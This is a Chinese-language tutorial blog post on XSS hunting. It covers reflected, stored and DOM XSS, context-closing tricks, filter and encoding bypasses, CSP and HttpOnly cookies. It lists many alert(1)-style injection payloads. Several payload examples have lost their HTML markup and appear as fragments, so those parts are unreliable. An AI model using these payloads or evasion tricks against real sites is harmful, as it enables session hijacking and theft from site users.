写在前面
文章内容参考自
https://twosecurity.io/
http://www.4hou.com/web/15212.html
等
文章主体来自https://twosecurity.io/的付费内容,并根据作者的基础进行了一定的增删,希望获取全部内容的读者可以前去支持。
文章的部分内容搬运自不同的博文,由于这篇文章总结梳理时间较长,遗忘了大部分网络资源的地址,如果你发现文章内容搬运自你的博客,请留言联系我。
一、XSS漏洞
常用测试payload
"'>
二、XSS的分类
反射型 XSS 漏洞的挖掘
(反射型XSS测试PAYLAOD)
a: ?name=amber&age=1
b: ?name=amber&age=
在网页源码中查找 amber并查看h1
的 <
是否被转义
< >
符号未被转义则将参数转换成svg
payload的进一步构造
若存在源码中再添加内联事件执行语句
onload
是指在加载该页面时就执行,然后观察是否有弹窗。
存储型 XSS 漏洞的挖掘
存储型XSS简单分类
操作步骤
在 burpsuite 的 intercepter 模块下,点击「 Intercepter is off 」按钮开启请求拦截 ——>在网站可输入处写入 XXXXX 的字符串——>查看拦截请求,将XXXXX字符串替换为payload
替换的payload
click
Data URI,仅限 Firefox 下可以利用:
click
JS URI:
存储型XSS挖掘总结
DOM XSS 漏洞的挖掘
与普通XSS不同的是,DOM XSS是在浏览器的解析中改变页面DOM树,且恶意代码并不在返回页面源码中回显,这使我们无法通过特征匹配来检测DOM XSS。
触发XSS的一种方式如下:
http://www.foo.com/xss.html#alert(1)
这个URL显然不会发送到服务端,仅仅是在客户端被接收并解析执行
页面跳转
页面跳转中常用的三种方式:
1)302跳转
2)Meta标签跳转
3)通过JS跳转,使用location.href、location.replace()、location.assign()。
在页面跳转时,如果使用第三种方式跳转,那么就可以通过javascript伪协议执行JS脚本。
注意前两种跳转方式是无法执行的。
所以在页面跳转时针对跳转URL要做检测,否则就容易造成XSS。
例如:
payload:http://192.168.192.120/1.html?url=javascript:alert(1)
取值写入页面或动态执行
接受用户输入,并通过DOM操作写入到当前页面中或者动态执行,也可以触发XSS
test
html
DOM XSS输入点
Location |
当前网页的URL地址 |
window.name |
当前网页 tab 的名字,它被不同的网站赋值,也就是说这个网页为window.name 赋值后再跳转到其它网站,window.name 的值依然不变 |
document.title |
是当前网页的标题,可以在搜索框输入控制它的内容 |
document.referer |
表示来路,表示从哪个网页URL访问过来的 |
postMessage |
是HTML5 的一种跨域机制,但很多时候开发者没有正确的做来源检测,会导致 DOM XSS 的发生 |
location |
它触发 JS 通常是以跳转到 JS URI 的方式执行 |
eval |
是JS 内置的动态JS执行器 |
innerHTML |
能为一个网页元素赋值 |
document.write |
可以输出一个页面流 |
Function |
能通过函数生成一个函数,可以传入动态JS代码 |
setTimeout |
会延时执行JS代码 |
setInterval |
表示循环执行 JS 代码 |
闭合问题
引号,尖括号闭合说明
举例
假设输入框源码:
其中value中的[?]是可输入部分
payload1:
value=" "autofocus/onfocus=alert(1)//">
autofocus:对象在加载完成后自动获得焦点
onfocus:事件在对象获得焦点时发生
第一个引号用于和value中的前一个引号闭合,结尾的//用于注释后面的语句,这样使得xss能被浏览器完整的解析
value=" "autofocus/onfocus=alert(1)//" "
payload2:
value=" ">
第一个引号和用于和value中的前一个引号闭合,>用于和input左边的<闭合,<用于和结尾处的>闭合
HTML标签下的情况
HTML标签下的XSS是一种最常见的情况,例如:
HTML Context
{{用户输入}}
可以使用以下payloads:
为了注入JS代码成功,我们需要闭合前面的HTML标签,然后使用
但是有些html标签中不执行js代码,例如:
都需要使用 先闭合标签,再插入JS代码。
HTML属性下的情况
用户的输入是在HTML 标签的属性当中的时候,怎么来执行JS 代码。会有三种情况:
- 双引号
- 单引号
- 无引号
.....
...
...
....
- 双引号payloads:
"autofocus onfocus="alert(1)
"autofocus onfocus=alert(1)//
"onbeforescriptexecute=alert(1)//
"onmouseover="alert(1)//
"autofocus onblur="alert(1)
- 单引号payloads:
'autofocus onfocus='alert(1)
'autofocus onfocus=alert(1)//
'onbeforescriptexecute=alert(1)//
'onmouseover='alert(1)//
'autofocus onblur='alert(1)
- 无引号payloads:
autofocus onfocus=alert(1)//
onbeforescriptexecute=alert(1)//
onmouseover=alert(1)//
- hidden 标签:
1)再onclick时间下,使用accesskey
..
..
Payload: "accesskey="X" onclick="alert(1)"
,为了触发事件,需要按Alt+X 键。
URL下的情况
使用了加载URL的标签
Click
Payload: javascript:alert(1)//
Script标签下的情况
用户的输入在 标签中,从而导致的JS代码执行。
..
..
Payloads:
";alert(1)//
"-alert(1)-"
"+alert(1)+"
"*alert(1)*"
..
..
首先用 test'){//
封闭条件判断的地方,变成:
function test(){
if(test =='test'){//'){
//something
}
else
{
//something
}
}
但是这样只有在调用test()才能执行,所以我们要跳出这个函数输入:test'){1}}//
封闭test()函数:
function test(){
if(test =='test'){1}}//'){
//something
}
else
{
//something
}
}
我们在使用test'){1}};alert(1);function test1(){ if(1){//
把对应的test位置替换下,利用test1 来封闭剩下的函数,但是这样执行会有错误,我们使用ES6的箭头函数来替代function
:
function test(){
if(test =='test'){1}};alert(1);test1=>{ if(1){//'){1}}//'){
//something
}
else
{
//something
}
}
未设置过滤情况下利用script进行闭合
双引号绕过<
过滤
-alert(1)/" 中的减号的意思:让 js 语句不发生错误 ('+',在 url 的 uqery 中是空格的编码,而 % 号是表示url编码的标识符,/号在url中是表示一个path,所以用减号最合适。)
使用换行符跳过注释
**多行注释绕过 **
利用HTML编码闭合单引号
在 HTML 编码中,单引号对应的有 命名编码:'
、十进制编码:'
、十六进制编码:'
XSS 漏洞挖掘总结
三、混淆和绕过
基本变形
最简单的测试XSS的payload
如果测试的参数存在XSS,就会弹窗显示1
这个payload肯定会被过过滤,可以对payload进行简单修改,绕过默认的filter。
在script标签钟插入一个空格或者是tab
也可以对tab,换行,回车进行编码来绕过
对标签进行大小写
插入null字节,在xss payload的任何地方插入null字节,有时候可以绕过filter
<%00script>alert(1)
事件属性
...
Reference(十进制Unicode) | Chrome浏览器(对应的空白分隔符) | Edge浏览器(对应的空白分隔符) | IE浏览器(对应的空白分隔符) |
---|---|---|---|
属性中支持反引号 | 不支持 | 不支持 | IE >= 10 docmode: 不支持 IE < 10 docmode: 支持 |
标签名称中的空白分隔符(e.g. []src="javascript:alert(1)">) | 9,10,12,13, 32,47 | 9,10,12,13,32,47 | IE < 10 docmode:9, 10,11,12,13,32,47 IE >= 10 docmode:9, 10,12,13,32,47 |
属性中的空白分隔符 (e.g. | 9,10,12,13, 32 | 9,10,12,13,32 | IE < 10 docmode:0 ,9, 10,11,12,13,32,47 IE >= 10 docmode:9, 10,12,13,32 |
JavaScript中的空白分隔符 | 9-13,32, 160,5760, 8192-8202, 8232,8233, 8239,8287, 12288,65279, 65534 | 在附录中能找到Edge所支持的字符 | 9-13,32,160,5760, 6158,8192-8202, 8232,8233,8239, 8287,12288,65279 |
URL中的空白分隔符 (e.g. | 9,10,13,32 | 9,10,13,32 | 1-7,9,10,11,12,13, 32 |
CSS中的空白分隔符 | 9,10,12,13, 32 | 9,10,12,13,32 | IE < 10 docmode:9, 10,11,12,13,32,160, 8192-8203,12288, 65279 IE >= 10 docmode:9, 10,12,13,32 |
打开Chrome控制台->Console,输入String.fromCharCode(9),即复制到9所对应的字符
分隔符和括号
分隔符是用于分隔文本字符串或者其他数据流的一个或多个字符。在挖xss漏洞时,巧妙的使用分隔符非常有效。在HTML中,我们经常使用空格来分隔属性和它的值。还有的时候,只要使用一个单引号或者双引号作为分隔符就可以绕过filter了,如下:
对分隔符进行编码也可以用来绕过防御
反引号也是绕过filter的一种不错的技巧
编码版本如下:
Filter有时候会过滤某些关键词,比如以“on”开头的事件处理器,以此来防御此类xss攻击。
如果我们把属性的位置换到前面,filter无法识别反引号,会将它视为不是以“on”开头的单独的属性,这样也就可以有效绕过filter了,如下:
跟分隔符一样,尖括号也可以利用来绕过filter。在某些情况下,filter仅仅只会查找开始括号和闭合括号,然后将尖括号里面的内容与恶意标签黑名单比较。通过使用多个尖括号,有时候可以骗过filter接受后面的代码。再使用双斜线注释掉后面的闭合标签,所以也不会报错,如下:
<
还有时候在结束的地方使用开尖括号也有可能绕过filter
标签名分隔符
(字符引用解析)
Reference | Chrome浏览器 | Edge浏览器 | IE浏览器 |
---|---|---|---|
十进制数字字符引用的最大长度 (e.g.&x00000060;) | 无限 | 无限 | IE >= 9 docmode: 无限IE < 9 docmode: 7;一旦超出限制会被?符代替 |
八进制数字字符引用的最大长度 (e.g. <) | 无限 | 无限 | IE >= 9 docmode: 无限IE < 9 docmode: 6;一旦超出限制会被?符代替 |
HTML5字符实体支持 | 支持 | 支持 | IE >= 10 docmode: 支持IE < 10 docmode: 不支持 |
在某些情况下可以选择忽略分号 (e.g. a , ) |
支持 | 支持 | IE >= 9 docmode: 支持IE < 9 docmode: 支持 除了十六进制数字字符引用 |
JS编码
a\u006cert(1);
alert`1`;
location=/javascript:alert%281%29/.source;
HTML编码
click
备注:CSP策略
在挖掘过程中可能会遇到使用CSP策略禁止网站弹出JavaScript警告窗口的情况。
CSP:Content-Security-Policy(内容安全策略),以白名单的机制对网站加载或执行的资源起作用。通过CSP所约束的的规责指定可信的内容来源(这里的内容可以指脚本、图片、iframe、fton、style等等可能的远程的资源)。通过CSP协定,让WEB处于一个安全的运行环境中。
四、漏洞利用
HTTPOnly Cookies
HttpOnly属性介绍:
Cookie的HttpOnly属性是Cookie的扩展功能,它使JavaScript脚本无法获得Cookie。其主要目的是为了防止XSS对Cookie的信息窃取。
发送指定HttpOnly属性的Cookie的方法如下:
Set-Cookie: name=value; HttpOnly
通过上述设置,通常从Web页面内还可以对Cookie进行读取操作。但使用JavaScript的doucment.cookie就无法读取附加HttpOnly属性后的Cookie内容了。
利用过程
(以下图片展示了攻击者的XSS漏洞利用流程)